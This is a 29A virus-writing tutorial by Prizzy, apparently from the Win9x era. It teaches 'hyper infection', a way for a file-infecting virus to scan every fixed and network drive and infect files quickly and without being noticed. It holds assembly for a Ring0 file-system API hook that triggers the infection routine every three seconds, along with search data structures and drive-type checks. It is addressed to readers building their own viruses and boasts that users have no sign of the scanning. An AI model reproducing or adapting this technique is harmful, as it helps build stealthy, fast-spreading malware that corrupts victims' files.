
   ÚÄÄÍÍÍÍÍÍÍÍÄÄÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ÄÄÍÍÍÍÍÍÍÍÄÄ¿
   : Prizzy/29A :		Hyper Infection 	      : Prizzy/29A :
   ÀÄÄÍÍÍÍÍÍÍÍÄÄÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÄÄÍÍÍÍÍÍÍÍÄÄÙ

			  made in the Czech Republic

    When I have designed Win9x.Prizzy  I wanted to  infected all files in a
    very little time. The mainly point of the virus is infection as soon as
    possible. By this technique you doesn't need infect files, but you	can
    use it for find a certain file on disks - 2nd chapter  helped  you with
    your inspiration.


    Index
    ÄÄÄÄÄ
    1. The theory of searching
    2. Inspirations
    3. Get disk informations
      3.1. Get KERNEL32 base address
      3.2. Use "GetDriveTypeA" API function
    4. What do for compatibility with your virus
      4.1. Structures description
      4.2. Hyper infection in hooking function
      4.3. Differences between API and Ring0 using
    5. Conclusion


    1. The theory of searching
    ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
    It is impossible to searching all files  without  we would give time to
    other applications. So, I found out  the best way which is: every three
    second active "hyper infection" and try to	find new  files  during one
    second. I did a few tests  and this  constellation	is very good. Every
    three second - as I said - but  only, only if system works	with files.

    2. Inspirations
    ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
    You can use this method to infection, to search a certain file on disk.
    At present I discovered new archve method where I must use this method.
    For more informations open "CAB Infector" in 29A or on my homepage.

    3. Get disk informations
    ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
    To searching on all disks I must know if it is for example CD-ROM where
    it is  needless something do. In API world is "GetDriveTypeA"  function
    and in Ring0 world is "IFSMgr_Ring0GetDriveInfo" but I do not know what
    certain flag means. So I used API function.

    3.1. Get KERNEL32 base address
    ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
    I think it is needless describe this technique because many viruses use
    this method - find label "find_kernel32:" in Win9x.Prizzy virus to know
    more. Then we must find "GetDriveTypeA" address.

    3.2. Use "GetDriveTypeA" API function
    ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
    By this API function we can find out whether drive is:
      * DRIVE_FIXED  - normal disk
      * DRIVE_REMOTE - network
      * DRIVE_CDROM
      * DRIVE_RAMDISK	 ...and more flags...

    Open "WinBase.H" file to know more, you can  find it  in C++ Builder or
    in Microsoft Visual C++. To get input parameters use Win32.HLP.

    4. What do for compatibility with your virus
    ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
    I think it won't hard use this "hyper infection" in your virus. So, let
    us look on details. Actual second I store to BL in global api_hook. And
    this value I did not save anywhere. Either save this value something or
    don't change this register.

    4.1. Structures description
    ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
    You must use this variables:

      ÉÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍÍ[  Main filename buffer  ]ÍÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍ»
      º In fact you must have two buffer for filename. The first you'll º
      ³   have for standard operation as is "open" etc. and the second	³
      ³ will be for  store filename. Since 2nd	filename buffer must be ³
      ³   used only with "hyper searcher". Here "filename_size" means	³
      ³      standard filename size - defined in "IO.H" and so on	³
      ÈÍÄÍËÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍËÍÄÍ¼
	  ³	filename_size	  equ	  260			    ³
	  ³	search_filename   db	  filename_size dup (00h)   ³
	  ÈÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍ¼


      ÉÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍÍ[	Search control	]ÍÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍ»
      º   Through "search_finished" we know if our operation has been	º
      ³ finished. By this value we determine whether it has price call	³
      ³ main search function. Value "search_start" means whether we has ³
      ³   begun yet - if not, we allocate memory for dta and so on, if	³
      ³ this function ain't called for the 1st time then we jump inside ³
      ³ 	    to continue there, where we finished		³
      ÈÍÄÍËÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍËÍÄÍ¼
	  ³	search_finished   db	  00h			    ³
	  ³	search_start	  db	  00h			    ³
	  ÈÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍ¼


      ÉÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍÍ[  File informations  ]ÍÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍ»
      º   We to know how dirs we seached we must saved all nesting in	º
      ³ DTA structs. All searching method which I know use this method. ³
      ³ How many dirs can be in dir ? I have selected 100. I must alloc ³
      ³ memory for these DTAs and by nesting I will determine which DTA ³
      ³ 	  to use. Now, I will show you DTA structure:		³
      ³ 								³
      ³ 	    dta_struc		    struc			³
      ³ 	      dta_fileattr	      dd      ? 		³
      ³ 	      dta_time_creation       dq      ? 		³
      ³ 	      dta_time_lastaccess     dq      ? 		³
      ³ 	      dta_time_lastwrite      dq      ? 		³
      ³ 	      dta_filesize_hi	      dd      ? 		³
      ³ 	      dta_filesize	      dd      ? 		³
      ³ 	      dta_reserved_0	      dd      ? 		³
      ³ 	      dta_reserved_1	      dd      ? 		³
      ³ 	      dta_filename	      db      260 dup (?)	³
      ³ 	      dta_filename_short      db      14 dup (?)	³
      ³ 	    ends						³
      ³ 								³
      ³   This structure is same for Win32API "FindFileFirst" as well	³
      ÈÍÄÍËÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍËÍÄÍ¼
	  ³ search_mem_size  equ 100*(size dta+size search_address) ³
	  ³ search_address   dd  00000000h			    ³
	  ³ dta 	     dta_struc <00h>			    ³
	  ÈÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍ¼


      ÉÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍÍ[  Common values	]ÍÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍ»
      º To get how is it dir in dir (nesting - plunge) and read certain º
      ³     DTA structure we use "search_plunge". And handle of the	³
      ³  "FindFileFirst" function is stored in "search_handle". See on	³
      º      this function to the Win32 HLP for more informations	º
      ÈÍÄÍËÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍËÍÄÍ¼
	  ³	search_plunge	db	00h			    ³
	  ³	search_handle	dd	00000000h		    ³
	  ÈÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍ¼


    4.2. Hyper infection in hooking function
    ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
    Function "hyper_infection" must  be called	from the  global  api_hook.
    Either in "IFSMgr_InstallFileSystemApiHook" or in "VWIN32_Int21h_Dispa-
    tcher". So, look at this example in Ring0:

    api_hook:
		 push	 ebp			 ;C calls rules
		 mov	 ebp,esp
		 sub	 esp,100h

		 pusha
		 get_base ebx			 ;get delta ro EBX

		 ; recursive call
		 cmp	 byte ptr [ebx+in_ifs-virus_start],0
		 jnz	 api_hook_quit
		 inc	 byte ptr [ebx+in_ifs-virus_start]

		 ;***	 active my hyper infection ?
		 cmp	 byte ptr [ebx+search_finished-virus_start],0
		 jnz	 api_hook_next

		 push	 ebx			 ;every three second run
		 xor	 ax,ax			 ;my hyper infection; I must
		 out	 70h,al 		 ;get time other appz
		 in	 al,71h
		 mov	 bl,3			 ;every three second...
		 div	 bl
		 pop	 ebx
		 or	 ah,ah			 ; ??
		 jnz	 api_hook_next

		 call	 init_search		 ;hyper infication !

	 api_hook_next:
		 ; test if file is "open" etc.

	 api_hook_exit:
		 ; disable "resursive" level
		 mov	 byte ptr [ebx+in_ifs-virus_start],0

	 api_hook_quit:
		 ; leave from this function


    4.3. Differences between API and Ring0 using
    ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
    At first you must change all my Ring0 call name functions. As for alloc
    and deallocate memory, FindFile and so on. Well,  change "ffindfirst:",
    "ffindnext:" and "ffindclose:" functions. And it is all, nothing more.


    5. Conclusion
    ÄÄÄÄÄÄÄÄÄÄÄÄÄ
    By my tests user has not any foreboding that something scans his disks.
    To the future I am gonna adjust the searching for more file extensions.

    If you have got some questions, contact me.

